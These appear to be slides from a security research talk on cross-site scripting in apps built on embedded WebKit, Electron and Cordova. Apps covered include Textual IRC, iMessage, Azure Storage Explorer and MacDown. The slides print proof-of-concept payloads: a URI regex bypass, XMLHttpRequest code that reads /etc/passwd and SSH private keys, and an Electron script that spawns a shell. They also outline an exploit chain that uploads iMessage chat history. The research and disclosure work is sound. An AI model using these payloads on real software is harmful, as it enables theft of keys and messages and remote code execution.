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I am Shubs

I am a security consultant at Bishop Fox, and 
I’m very active in the bug bounty scene.

You can find me on:
Twitter: @infosec_au
Github: github.com/infosec-au 
Blog: shubs.io

Hello!



I am Mandatory

Formerly of Bishop Fox, and I recently crashed the entire 
North Korean Internet.

You can find me on:
Twitter: @IAmMandatory
Github: github.com/mandatoryprogrammer
Web:        thehackerblog.com

Hola!



I am Moloch

I am a security consultant at Bishop Fox, and I 
like computers. 

EHLO



Let’s talk about
JavaScript.



Let’s use the
DOM!!!



Embedded WebKit

Electron /
Node-WebKit



Embedded WebKit

• Been around for a while
• Objects can be exposed to the 

JavaScript runtime



Electron / Node-WebKit



Electron / Node-WebKit

• Exposing Node.js to the DOM



Apache Cordova

Adobe PhoneGap



What could
go wrong?



Textual IRC







Textual will link 
any URI we want…



scheme:



scheme://



scheme://body



What is a useful 
scheme?



javascript:



javascript:alert(1)



But only foo://bar
matches the regex…



javascript://alert(1)



//alert(1);



//foobar%0aprompt(1)



//foobar
prompt(1)







What can a file:// 
origin access?



function reqListener () {
prompt(this.responseText);

}

var req = new XMLHttpRequest();
req.addEventListener("load", reqListener);
req.open("GET", "file:///etc/passwd");
req.send();



Subdirectories only



Subdirectories only

Subdirectories only



Subdirectories only

Subdirectories only

Anywhere



What happens if 
you click a smb://?



/Volumes/foo/bar



What happens if 
you click a file://?







iMessage





JS 
Console

-
weinre



function reqListener () {
prompt(this.responseText);

}

var req = new XMLHttpRequest();
req.addEventListener("load", reqListener);
req.open("GET", "file://~/.ssh/id_rsa");
req.send();



MacOS App Sandbox

Without Sandbox
All User 

Data

System 
Resources



MacOS App Sandbox

Without Sandbox With Sandbox
All User 

Data

System 
Resources

App Data

App 
Resources



/Users/<username>/Library/Messages/chat.db



/Library/Preferences/com.apple.loginwindow.plist



iMessage Exploit

1. Initial XSS



iMessage Exploit

1. Initial XSS
2. XHR to determine the current 

user 



iMessage Exploit

1. Initial XSS
2. XHR to determine the current 

user 
3. XHR and upload the chat.db



iMessage Exploit

1. Initial XSS
2. XHR to determine the current 

user 
3. XHR and upload the chat.db
4. Determine attachment path(s)





Azure Storage 

Explorer



Electron



Electron
XSS == RCE



<script>
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);

</script>





Ryver













Rocket Chat+





















Apache Cordova









The Little Doctor





MacDown



Mou





Never open an 
untrusted .md file!



Good Hunting



Post-Exploitation 

Tips



• What is the origin?

WebKit Views



• What is the origin?
• Can you mount smb://

WebKit Views



• What is the origin?
• Can you mount smb://
• What is the behavior of file://

WebKit Views



• What is the origin?
• Can you mount smb://
• What is the behavior of file://
• Is there an application 

sandbox or container?

WebKit Views



• What is the origin?
• Can you mount smb://
• What is the behavior of file://
• Is there an application 

sandbox or container?
• Can you access WebRTC?

WebKit Views



The Little Doctor
github.com/infosec-au



Any questions ?

Thanks!

Christina Camilleri (@0xkitty) for the slide design!



CREDITS

Christina Camilleri (@0xkitty) for the slide design!



◉Attributions (Images in Slides)

The Modern Web image

Danger Sign image

DOM image

Motorbike image

https://www.nostarch.com/modernweb
https://onsizzle.com/t/not-only-will-this-kill-you?since=1477996997,4324618
https://giphy.com/gifs/my-works-8FSaqYLTn8zyE
http://www.funnyordie.com/slideshows/082012dcd6/21-best-gifs-of-all-time-of-the-week-164

